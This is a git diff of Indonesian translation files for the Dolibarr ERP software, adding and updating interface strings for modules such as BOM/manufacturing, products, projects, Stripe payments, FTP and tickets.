daftar NotEditable=Tidak dapat diedit ForeignKey=Kunci asing -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Pengonversi Ascii ke HTML AsciiToPdfConverter=Pengonversi ascii ke PDF TableNotEmptyDropCanceled=Meja tidak kosong. Drop telah dibatalkan. ModuleBuilderNotAllowed=Pembuat modul tersedia tetapi tidak diizinkan untuk pengguna Anda. ImportExportProfiles=Impor dan ekspor profil -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/id_ID/mrp.lang b/htdocs/langs/id_ID/mrp.lang index 044dce1d6e2..65416f0cf3c 100644 --- a/htdocs/langs/id_ID/mrp.lang +++ b/htdocs/langs/id_ID/mrp.lang @@ -11,8 +11,8 @@ Bom=Bills of Material BillOfMaterials=Bill of material BillOfMaterialsLines=Garis Bill of Material BOMsSetup=Pengaturan modul BOM -ListOfBOMs=Daftar tagihan bahan - BOM -ListOfManufacturingOrders=Daftar Pesanan Manufaktur +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=Bill of material baru ProductBOMHelp=Produk untuk dibuat (atau dibongkar) dengan BOM ini.
      Catatan: Produk dengan properti 'Sifat produk' = 'Bahan mentah' tidak terlihat dalam daftar ini. BOMsNumberingModules=Templat penomoran BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Anda yakin ingin mengkloning bill of material %s ? ConfirmCloneMo=Yakin ingin mengkloning Pesanan Manufaktur %s? ManufacturingEfficiency=Efisiensi manufaktur ConsumptionEfficiency=Efisiensi konsumsi +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Nilai 0,95 berarti rata-rata 5%% dari kehilangan produk yang dihasilkan DeleteBillOfMaterials=Hapus Bill Of Material @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=Untuk kuantitas yang harus dibongkar dari %s ConfirmValidateMo=Apakah Anda yakin ingin memvalidasi Pesanan Manufaktur ini? ConfirmProductionDesc=Dengan mengklik '%s', Anda akan memvalidasi konsumsi dan / atau produksi untuk jumlah yang ditentukan. Ini juga akan memperbarui stok dan mencatat pergerakan stok. ProductionForRef=Produksi %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Tutup secara otomatis Order Manufaktur jika jumlah yang dikonsumsi dan diproduksi tercapai NoStockChangeOnServices=Tidak ada perubahan stok pada layanan ProductQtyToConsumeByMO=Kuantitas produk masih dikonsumsi oleh MO terbuka @@ -80,6 +83,7 @@ ProductsToProduce=Produk yang akan diproduksi UnitCost=Biaya satuan TotalCost=Total biaya BOMTotalCost=Biaya untuk menghasilkan BOM ini berdasarkan pada biaya setiap kuantitas dan produk yang akan dikonsumsi (gunakan harga Biaya jika ditentukan, selain itu Harga Rata-rata Tertimbang jika ditentukan, selain itu harga pembelian Terbaik) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Anda harus memulai produksi terlebih dahulu untuk menutup Pesanan Manufaktur (Lihat tab '%s'). Tapi Anda bisa Membatalkannya. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Kit tidak dapat digunakan menjadi BOM atau MO Workstation=Stasiun kerja @@ -107,3 +111,10 @@ THMEstimatedHelp=Tarif ini memungkinkan untuk menentukan perkiraan biaya item BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Pesanan dan baris produksi +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/id_ID/other.lang b/htdocs/langs/id_ID/other.lang index 8efd4345cb7..4d9f5f7aef5 100644 --- a/htdocs/langs/id_ID/other.lang +++ b/htdocs/langs/id_ID/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Pesanan pembelian disetujui Notify_ORDER_SUPPLIER_REFUSE=Pesanan pembelian ditolak Notify_PROPAL_VALIDATE=Proposal pelanggan divalidasi Notify_PROPAL_CLOSE_SIGNED=Proposal pelanggan ditutup ditandatangani +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Proposal pelanggan yang ditutup ditolak +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Proposal komersial dikirim melalui surat Notify_WITHDRAW_TRANSMIT=Penarikan transmisi Notify_WITHDRAW_CREDIT=Penarikan kredit @@ -181,6 +183,7 @@ SizeUnitfoot=kaki SizeUnitpoint=titik BugTracker=Pelacak bug SendNewPasswordDesc=Formulir ini memungkinkan Anda untuk meminta kata sandi baru. Itu akan dikirim ke alamat email Anda.
      Perubahan akan berlaku setelah Anda mengklik tautan konfirmasi di email.
      Periksa kotak masuk Anda. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Kembali ke halaman login AuthenticationDoesNotAllowSendNewPassword=Mode otentikasi adalah%s .
      Dalam mode ini, Dolibarr tidak dapat mengetahui atau mengubah kata sandi Anda.
      Hubungi administrator sistem Anda jika Anda ingin mengubah kata sandi. EnableGDLibraryDesc=Instal atau aktifkan pustaka GD pada instalasi PHP Anda untuk menggunakan opsi ini. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Faktur %s telah divalidasi. EMailTextInvoicePayed=Faktur %s telah dibayar. EMailTextProposalValidated=Proposal %s telah divalidasi. EMailTextProposalClosedSigned=Proposal %s telah ditutup ditandatangani. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Pesanan %s telah divalidasi. EMailTextOrderApproved=Pesanan %s telah disetujui. EMailTextOrderValidatedBy=Pesanan %s telah direkam oleh %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Apakah Anda yakin ingin "%s" ? ConfirmBtnCommonTitle = Konfirmasikan tindakan Anda CloseDialog = Tutup Autofill = Autofill + +# externalsite +ExternalSiteSetup=Setup link to external website +ExternalSiteURL=URL Situs Eksternal dari konten iframe HTML +ExternalSiteModuleNotComplete=Module ExternalSite was not configured properly. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=Pengaturan modul Klien FTP atau SFTP +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Gagal menghapus file%s . +FTPFailedToRemoveDir=Gagal menghapus direktori%s : periksa izin dan direktori tersebut kosong. +FTPPassiveMode=Passive mode +ChooseAFTPEntryIntoMenu=Pilih situs FTP/SFTP dari menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/id_ID/products.lang b/htdocs/langs/id_ID/products.lang index d35bc34af19..3a45192c48f 100644 --- a/htdocs/langs/id_ID/products.lang +++ b/htdocs/langs/id_ID/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Anda yakin ingin menghapus lini produk ini? ProductSpecial=Khusus QtyMin=Min. jumlah pembelian PriceQtyMin=Kuantitas harga min. -PriceQtyMinCurrency=Harga (mata uang) untuk qty ini. (tidak ada diskon) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=Tarif PPN (untuk vendor / produk ini) DiscountQtyMin=Diskon untuk qty ini. NoPriceDefinedForThisSupplier=Tidak ada harga / jumlah yang ditentukan untuk vendor / produk ini @@ -261,7 +262,7 @@ Quarter1=1 Perempat Quarter2=Ke-2 Perempat Quarter3=Ke-3 Perempat Quarter4=4 Perempat -BarCodePrintsheet=Cetak barcode +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Dengan alat ini, Anda dapat mencetak lembaran stiker barcode. Pilih format halaman stiker Anda, jenis barcode dan nilai barcode, lalu klik tombol%s . NumberOfStickers=Jumlah stiker untuk dicetak pada halaman PrintsheetForOneBarCode=Cetak beberapa stiker untuk satu barcode @@ -344,9 +345,9 @@ PossibleValues=Nilai yang mungkin GoOnMenuToCreateVairants=Buka menu %s - %s untuk menyiapkan varian atribut (seperti warna, ukuran, ...) UseProductFournDesc=Tambahkan fitur untuk mendefinisikan deskripsi produk yang ditentukan oleh vendor (untuk setiap referensi vendor) selain deskripsi untuk pelanggan ProductSupplierDescription=Deskripsi vendor untuk produk -UseProductSupplierPackaging=Gunakan kemasan pada harga pemasok (jumlah ulang sesuai dengan kemasan yang ditetapkan pada harga pemasok saat menambahkan / memperbarui baris dalam dokumen pemasok) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Pengemasan -PackagingForThisProductDesc=Pada pesanan pemasok, Anda akan secara otomatis memesan jumlah ini (atau kelipatan dari jumlah ini). Tidak boleh kurang dari jumlah pembelian minimum +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=Kuantitas saluran dihitung ulang sesuai dengan kemasan pemasok #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Tindakan hanya tersedia pada varian produk ProductsPricePerCustomer=Harga produk per pelanggan ProductSupplierExtraFields=Atribut Tambahan (Harga Pemasok) DeleteLinkedProduct=Hapus produk anak yang ditautkan ke kombinasi -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Harga rata-rata yang ditimbang PMPValueShort=WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=BOM bawaan DefaultBOMDesc=BOM default direkomendasikan untuk digunakan untuk memproduksi produk ini. Bidang ini hanya dapat disetel jika sifat produk adalah '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/id_ID/projects.lang b/htdocs/langs/id_ID/projects.lang index 8ef2b56090c..6a26514db7d 100644 --- a/htdocs/langs/id_ID/projects.lang +++ b/htdocs/langs/id_ID/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Tampilan ini menyajikan semua proyek dan tugas yang boleh Anda b TasksDesc=Tampilan ini menyajikan semua proyek dan tugas (izin pengguna Anda memberi Anda izin untuk melihat semuanya). AllTaskVisibleButEditIfYouAreAssigned=Semua tugas untuk proyek yang memenuhi syarat terlihat, tetapi Anda dapat memasukkan waktu hanya untuk tugas yang diberikan kepada pengguna yang dipilih. Tetapkan tugas jika Anda perlu memasukkan waktu untuk itu. OnlyYourTaskAreVisible=Hanya tugas yang diberikan kepada Anda yang terlihat. Jika Anda perlu memasukkan waktu pada suatu tugas dan jika tugas tersebut tidak terlihat di sini, maka Anda perlu menetapkan tugas tersebut untuk diri Anda sendiri. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Tugas proyek ProjectCategories=Tag / kategori proyek NewProject=Proyek baru @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Memimpin jumlah proyek terbuka berdasarkan OpportunitiesStatusForProjects=Memimpin jumlah proyek berdasarkan status ShowProject=Tampilkan proyek ShowTask=Tampilkan tugas +SetThirdParty=Set third party SetProject=Tetapkan proyek +OutOfProject=Out of project NoProject=Tidak ada proyek yang ditentukan atau dimiliki NbOfProjects=Jumlah proyek NbOfTasks=Jumlah tugas @@ -122,7 +125,8 @@ ValidateProject=Validasi projet ConfirmValidateProject=Anda yakin ingin memvalidasi proyek ini? CloseAProject=Tutup proyek ConfirmCloseAProject=Anda yakin ingin menutup proyek ini? -AlsoCloseAProject=Juga tutup proyek (tetap buka jika Anda masih harus mengikuti tugas produksi di atasnya) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Proyek terbuka ConfirmReOpenAProject=Anda yakin ingin membuka kembali proyek ini? ProjectContact=Kontak proyek @@ -165,7 +169,7 @@ OpportunityProbability=Peluang memimpin OpportunityProbabilityShort=Probab timbal. OpportunityAmount=Jumlah timah OpportunityAmountShort=Jumlah timah -OpportunityWeightedAmount=Peluang jumlah tertimbang +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. jumlah tertimbang OpportunityAmountAverageShort=Jumlah timah rata-rata OpportunityAmountWeigthedShort=Jumlah timbal tertimbang @@ -238,7 +242,7 @@ OppStatusPENDING=Tertunda OppStatusWON=Won OppStatusLOST=Kalah Budget=Anggaran -AllowToLinkFromOtherCompany=Izinkan untuk menautkan proyek dari perusahaan lain

      Nilai yang didukung:
      - Tetap kosong: Dapat menautkan proyek apa pun dari perusahaan (proyek apa pun, bahkan proyek "a034f apa saja a034f proyek a034f id pihak ketiga yang dipisahkan oleh koma: dapat menautkan semua proyek dari pihak ketiga ini (Contoh: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Proyek %s terbaru LatestModifiedProjects=Proyek modifikasi %s terbaru OtherFilteredTasks=Tugas yang difilter lainnya @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Keuntungan dihitung menggunakan AddPersonToTask=Tambahkan juga ke tugas UsageOrganizeEvent=Penggunaan: Organisasi Acara PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Klasifikasikan proyek sebagai tertutup ketika semua tugasnya selesai (kemajuan 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Catatan: progres proyek yang ada dengan semua tugas di 100%% tidak akan terpengaruh: Anda harus menutupnya secara manual. Opsi ini hanya memengaruhi proyek terbuka. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Pilih baris waktu yang dihabiskan yang belum ditagih, lalu tindakan massal "Buat Faktur" untuk menagihnya ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. diff --git a/htdocs/langs/id_ID/recruitment.lang b/htdocs/langs/id_ID/recruitment.lang index e2617c84686..fc89e03f230 100644 --- a/htdocs/langs/id_ID/recruitment.lang +++ b/htdocs/langs/id_ID/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Perekrut email ToUseAGenericEmail=Untuk menggunakan email umum. Jika tidak ditentukan, email dari penanggung jawab perekrutan akan digunakan NewCandidature=Aplikasi baru ListOfCandidatures=Daftar aplikasi -RequestedRemuneration=Remunerasi yang diminta -ProposedRemuneration=Remunerasi yang diusulkan +Remuneration=Gaji +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Kontrak diusulkan ContractSigned=Kontrak telah ditandatangani ContractRefused=Kontrak ditolak RecruitmentCandidature=Aplikasi JobPositions=Posisi kerja RecruitmentCandidatures=Lamaran -InterviewToDo=Wawancara untuk dilakukan +InterviewToDo=Contacts to follow AnswerCandidature=Jawaban lamaran YourCandidature=Lamaran Anda YourCandidatureAnswerMessage=Terima kasih atas lamaran Anda.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=Posisi pekerjaan ditutup. ExtrafieldsJobPosition=Atribut pelengkap (posisi pekerjaan) ExtrafieldsApplication=Atribut pelengkap (lamaran kerja) MakeOffer=Buat sebuah penawaran +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/id_ID/salaries.lang b/htdocs/langs/id_ID/salaries.lang index c5a70a905ee..49b052d0b1d 100644 --- a/htdocs/langs/id_ID/salaries.lang +++ b/htdocs/langs/id_ID/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Akun akuntansi digunakan untuk pihak ketiga pengguna -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Akun akuntansi khusus yang ditentukan pada kartu pengguna akan digunakan hanya untuk akuntansi Subledger. Yang ini akan digunakan untuk Buku Besar Umum dan sebagai nilai default dari akuntansi Subledger jika akun akuntansi pengguna khusus pada pengguna tidak didefinisikan. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Akun akuntansi secara default untuk pembayaran upah CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Secara default, biarkan kosong opsi "Otomatis buat total pembayaran" saat membuat Gaji Salary=Gaji @@ -24,3 +24,4 @@ SalariesStatistics=Statistik gaji SalariesAndPayments=Gaji dan pembayaran ConfirmDeleteSalaryPayment=Apakah Anda ingin menghapus pembayaran gaji ini? FillFieldFirst=Isi kolom karyawan terlebih dahulu +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/id_ID/stripe.lang b/htdocs/langs/id_ID/stripe.lang index 6719ab69746..7bd6a28bd8e 100644 --- a/htdocs/langs/id_ID/stripe.lang +++ b/htdocs/langs/id_ID/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Kata kunci webhook live ONLINE_PAYMENT_WAREHOUSE=Stok yang akan digunakan untuk penurunan stok ketika pembayaran online dilakukan
      (TODO Kapan opsi untuk mengurangi stok dilakukan atas tindakan faktur dan pembayaran online menghasilkan sendiri faktur itu?) StripeLiveEnabled=Stripe langsung diaktifkan (jika tidak, uji / mode kotak pasir) StripeImportPayment=Impor pembayaran Stripe -ExampleOfTestCreditCard=Contoh kartu kredit untuk pengujian: %s => valid, %s => error CVC, %s => kedaluwarsa, %s => tagihan gagal +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Gerbang gateway Stripe OAUTH_STRIPE_TEST_ID=Stripe Connect ID Klien (ca_...) OAUTH_STRIPE_LIVE_ID=Stripe Connect ID Klien (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Hapus Kartu ConfirmDeleteCard=Anda yakin ingin menghapus kartu Kredit atau Debit ini? CreateCustomerOnStripe=Buat pelanggan di Stripe CreateCardOnStripe=Buat kartu di Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Tunjukkan di Stripe StripeUserAccountForActions=Akun pengguna yang akan digunakan untuk pemberitahuan email tentang beberapa acara Stripe (pembayaran Stripe) StripePayoutList=Daftar pembayaran Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Tautan ke setup Stripe WebHook untuk memanggil IPN (l PaymentWillBeRecordedForNextPeriod=Pembayaran akan dicatat untuk periode berikutnya. ClickHereToTryAgain= Klik di sini untuk mencoba lagi ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Karena aturan Otentikasi Pelanggan yang Kuat, pembuatan kartu harus dilakukan dari Stripe backoffice. Anda dapat mengklik di sini untuk mengaktifkan catatan pelanggan Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/id_ID/ticket.lang b/htdocs/langs/id_ID/ticket.lang index 538d1027999..51c64a41a33 100644 --- a/htdocs/langs/id_ID/ticket.lang +++ b/htdocs/langs/id_ID/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Ubah tiket Permission56003=Hapus tiket Permission56004=Kelola tiket Permission56005=Lihat tiket dari semua pihak ketiga (tidak berlaku untuk pengguna eksternal, selalu terbatas pada pihak ketiga yang mereka andalkan) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Tiket - Jenis TicketDictCategory=Tiket - Grup TicketDictSeverity=Tiket - Tingkat Permasalahan @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Kontributor eksternal OriginEmail=Email Reporter Notify_TICKET_SENTBYMAIL=Kirim pesan tiket melalui email +ExportDataset_ticket_1=Tickets + # Status Read=Baca Assigned=Ditugaskan @@ -90,8 +94,8 @@ TicketPublicAccess=Antarmuka publik yang tidak memerlukan identifikasi tersedia TicketSetupDictionaries=Jenis tiket, keparahan dan kode analitik dapat dikonfigurasi dari kamus TicketParamModule=Pengaturan variabel modul TicketParamMail=Penyiapan email -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Pesan teks dikirim setelah membuat tiket @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Teks yang ditentukan di sini akan dimasukkan ke dalam ema TicketParamPublicInterface=Penyiapan antarmuka publik TicketsEmailMustExist=Membutuhkan alamat email yang ada untuk membuat tiket TicketsEmailMustExistHelp=Di antarmuka publik, alamat email harus sudah diisi dalam database untuk membuat tiket baru. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Antarmuka publik TicketUrlPublicInterfaceLabelAdmin=URL alternatif untuk antarmuka publik TicketUrlPublicInterfaceHelpAdmin=Dimungkinkan untuk mendefinisikan alias ke server web dan dengan demikian menyediakan antarmuka publik dengan URL lain (server harus bertindak sebagai proxy pada URL baru ini) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=Dibuat oleh NewTicket=Tiket Baru SubjectAnswerToTicket=Jawaban tiket TicketTypeRequest=Jenis permintaan -TicketCategory=Kategorisasi tiket +TicketCategory=Ticket group SeeTicket=Lihat tiket TicketMarkedAsRead=Tiket telah ditandai sebagai sudah dibaca TicketReadOn=Baca terus @@ -190,8 +198,7 @@ TicketAssigned=Tiket sekarang ditugaskan TicketChangeType=Ubah tipe TicketChangeCategory=Ubah kode analitik TicketChangeSeverity=Ubah keparahan -TicketAddMessage=Tambahkan pesan -AddMessage=Tambahkan pesan +TicketAddMessage=Add private message MessageSuccessfullyAdded=Tiket ditambahkan TicketMessageSuccessfullyAdded=Pesan berhasil ditambahkan TicketMessagesList=Daftar pesan @@ -202,8 +209,8 @@ TicketSeverity=Kerasnya ShowTicket=Lihat tiket RelatedTickets=Tiket terkait TicketAddIntervention=Buat intervensi -CloseTicket=Tutup|Pecahkan tiket -AbandonTicket=Abaikan tiket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Tutup|Pecahkan tiket ConfirmCloseAticket=Konfirmasikan penutupan tiket ConfirmAbandonTicket=Apakah Anda mengkonfirmasi penutupan tiket dengan status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Kirim pesan melalui email TicketNewMessage=Pesan baru ErrorMailRecipientIsEmptyForSendTicketMessage=Penerima kosong. Tidak ada email yang dikirim TicketGoIntoContactTab=Buka tab "Kontak" untuk memilihnya -TicketMessageMailIntro=pengantar +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Teks ini hanya ditambahkan di awal email dan tidak akan disimpan. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Tanda tangan -TicketMessageMailSignatureHelp=Teks ini hanya ditambahkan di akhir email dan tidak akan disimpan. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Tanda tangan email respons -TicketMessageMailSignatureHelpAdmin=Teks ini akan dimasukkan setelah pesan respons. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Hanya teks ini yang akan disimpan dalam daftar pesan di kartu tiket. TicketMessageSubstitutionReplacedByGenericValues=Variabel substitusi digantikan oleh nilai generik. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Waktu berlalu sejak itu TicketTimeToRead=Waktu berlalu sebelum membaca TicketTimeElapsedBeforeSince=Waktu berlalu sebelum / sejak @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Pesan baru telah diposting di tiket d TicketAssignedToYou=Tiket ditugaskan TicketAssignedEmailBody=Anda telah diberi tiket # %s oleh %s MarkMessageAsPrivate=Tandai pesan sebagai pribadi +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Pesan ini tidak akan ditampilkan kepada pengguna eksternal TicketEmailOriginIssuer=Penerbit asal tiket InitialMessage=Pesan Awal @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Anda dapat melihat kemajuan tiket di ant 